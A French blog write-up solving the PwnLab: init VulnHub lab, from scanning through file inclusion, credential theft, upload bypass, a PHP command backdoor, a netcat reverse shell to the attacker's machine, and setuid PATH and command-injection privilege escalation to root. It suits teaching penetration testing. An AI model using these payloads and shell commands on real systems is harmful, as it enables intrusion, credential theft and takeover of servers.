PwnLab: init – Writeup

Ce challenge essentiellement web est disponible sur vulnhub.
Comme d’habitude, on se retrouve avec un fichier .ova à démarer dans virtualbox. Encore une fois la VM n’ayant pas besoin d’accéder à internet je la connecte en « Host Only ».

Reconnaissance

Pour commencer inspectons le serveur via nmap :


~ ❯❯❯ nmap 192.168.56.101

Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-01 15:37 CET
Nmap scan report for 192.168.56.101
Host is up (0.0012s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql

On y trouve un serveur web accessible ainsi qu’une base de données mysql !

Interface web

L’interface web est très minimaliste :

Interface web

Lorsque l’on se balade sur les différents liens on repère un paramètre GET « ?page= »
Instinctivement je tente d’exploiter une faille include.

Cepedant pour exploiter cette faille include il ne faut pas ajouter de .php, ceci est fait par l’application.
On peux supposer se trouver face à un code de ce type :


<?php if(isset($_GET['page'])){

include($_GET['page'].".php")

?>

Grâce à un wrapper PHP je peux lire le code source des pages :

we2


echo "PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=" | base64 -d
&lt;?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>%

Sur la page d’index on repère une seconde faille include dans un cookie « Lang » qui elle n’ajoute pas de .php on l’utilisera plus tard.

Sur la page login on trouve ce morceau de code :


...

require("config.php");

...

Super ! allos voir ce que contient ce fichier :


~ ❯❯❯ curl "http://192.168.56.101/?page=php://filter/convert.base64-encode/resource=config" ⏎
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+</center>
</body>
</html>%

~ ❯❯❯ echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 -d
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>%

Des accès à la base de données !
Comme nous l’avons vu précédemment le serveur mysql est accessible depuis l’extérieur nous pouvons maintenant nous y connecter !

La base de données

Connectons nous à la base :

~ ❯❯❯ mysql -u root -h 192.168.56.101 -pH4u%QJ_H99 ⏎
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 52
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

Parfait ! D’après les informations extraites du code php il existe une base « Users » :


MySQL [(none)]> use Users
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.00 sec)

Des mots de passes en Base64?!

Si on reprend le code PHP de la page login c’est bien ce qu’il y est indiqué :


$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);

$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);

Nous avons donc les mots de passes des utilisateurs, connectons nous à l’application web.

Interface Web 2 

Pour nous connecter utilisons les credentials de l’utilisateur kent.
Nous avons maintenant accès à la page d’upload.

L’application nous propose d’uploader des images, une fois encore via la LFI lisons le code source de la page :


~ ❯❯❯ curl "http://192.168.56.101/?page=php://filter/convert.base64-encode/resource=upload" ⏎
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==</center>
</body>
</html>% ~ ❯❯❯ echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==" | base64 -d
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");

if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}

if(strpos($filetype,'image') === false) {
die('Error 001');
}

if($imageinfo['mime'] != 'image/gif'|| $imageinfo['mime'] != 'image/jpeg'|| $imageinfo['mime'] != 'image/jpg'|| $imageinfo['mime'] != 'image/png') {
die('Error 002');
}

if(substr_count($filetype, '/')>1){
die('Error 003');
}

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}

Pas très sécurisé ce formulaire d’upload, l’application vérifie :

  • L’extension
  • Le type mime

Tout ceci est falsifiable via Burp ! Notre objectif est maintenant d’uploader un shell php !
Cependant l’application renomme notre fichier en md5(nom_du_fichier).extension_image
Pas de .php ..

Pour contourner ce problème, on va tout d’abord uploader une page PHP permettant d’uploader une page PHP sans vérification.
Cette technique est souvent utilisé sur les sites vérolés / infectés par des backdoor, les CMS ( type wordpress ) proposent des protections sur les formulaires d’upload et bypasser l’intégralité de ces protections peut etre complexe. Uploader une page qui ne fera pas de vérification peut etre une option pour se faciliter la tâche.

N’ayant pas envie de recoder une page d’upload, je copie le code fournie dans la page d’upload en supprimant les vérifications.
La page que je vais uploader est donc la suivante :

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
 <body>
 <form action='' method='post' enctype='multipart/form-data'>
 <input type='file' name='file' id='file' />
 <input type='submit' name='submit' value='Upload'/>
 </form>
 </body>
</html>
<?php 
if(isset($_POST['submit'])) {
 if ($_FILES['file']['error'] <= 0) {
 $filename = $_FILES['file']['name'];
 $filetype = $_FILES['file']['type'];
 $uploaddir = 'upload/';
 $file_ext = strrchr($filename, '.');
 $imageinfo = getimagesize($_FILES['file']['tmp_name']);

 $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

 if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
 echo "<img src=\"".$uploadfile."\"><br />";
 } else {
 die('Error 4');
 }
 }
}

?>

Pour faire l’upload je modifie l’extension et le type mime via burp.
J’ajoute aussi un header d’image pour bypasser toutes les vérifications :

burp

Mon « image » est maintenant uploadé !

Cependant celle ci est considéré en tant qu’image et non script PHP..
Pour l’executer j’utilise donc la 2nd faille LFI en créant un cookie « lang » qui contient le chemin de l’image :

cookie

Lorsque je recharge la page j’ai maintenant un formulaire d’upload dans la page :

upload

 

J’upload donc maintenant un shell.php, l’application l’enregistre sans me ressortir d’erreurs.
Rien de très fou une simple backdoor system fait l’affaire :


<?php system($_GET['a']); ?>

Je tente le tricks netcat pour avoir un shell accessible en ligne de commande et non via le formulaire web.
Cependant le « nc -e  /bin/bash » ne passe pas. J’imprime donc le man de nc qui m’apprend que cette option est remplacée par -c


#Premier shell :

nc -l -p 1234

#Second shell :

curl "http://192.168.56.101/upload/39ab6b7b4e9946f4fef4d99ee6be3446.php?a=nc -c /bin/bash 192.168.56.1 1234"

J’ai maintenant un shell sur la machine !

Road to root : 

Tentons de nous connecter avec les comptes utilisateurs préalablement récupérés, pour cela on utilise le tricks du pty en python pour avoir un shell dans un tty et utiliser le binaire su :


id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty; pty.spawn('/bin/bash')"
www-data@pwnlab:/tmp$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/tmp$ cd

kane@pwnlab:~$ ls
ls
msgmike

L’utilisateur kane possède un binaire msgmike.
Téléchargeons ce binaire avec un python SimpleHTTPServer.

Un binaire à reverse ! Sortons IDA :

ida

Le code de la fonction main est très explicite.
Le binaire utilise une fonction system avec comme paramètre : « cat /home/mike/msg.txt »

Il est possible de modifier la variable PATH et ainsi transformer ce « cat » en shell :


kane@pwnlab:~$ echo "/bin/bash" > /tmp/cat 
echo "/bin/bash" > /tmp/cat 
kane@pwnlab:~$ chmod +x /tmp/cat
chmod +x /tmp/cat
kane@pwnlab:~$ PATH=/tmp:$PATH
PATH=/tmp:$PATH
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)


Super je suis maintenant mike !

Fin du challenge:

L’utilisateur mike dispose dans son home d’un binaire msg2root.
Une fois de plus sortons IDA :

fin

Encore un appel à la fonction système en utilisant un paramètre de l’utilisateur !
L’application tente de faire un : system(« /bin/echo %s >> /root/message.txt ») où %s correspond au message entré par l’utilisateur.

Ainsi si on termine cette commande echo on peux s’ouvrir un shell :


mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: ; /bin/bash -p 
; /bin/bash -p

bash-4.3# id
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
bash-4.3# cd /root
cd /root
bash-4.3# ls 
ls
flag.txt messages.txt
bash-4.3# /bin/cat flag.txt
/bin/cat flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'


And voila !

Conclusion : 

Ce challenge web assez simple permet de jouer avec les failles LFI / upload.

Petite déception concernant la fin du challenge, sortir IDA pour si peu était inutile et ces binaires setuid sont peux réalistes.
Le challenge est cependant très plaisant !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *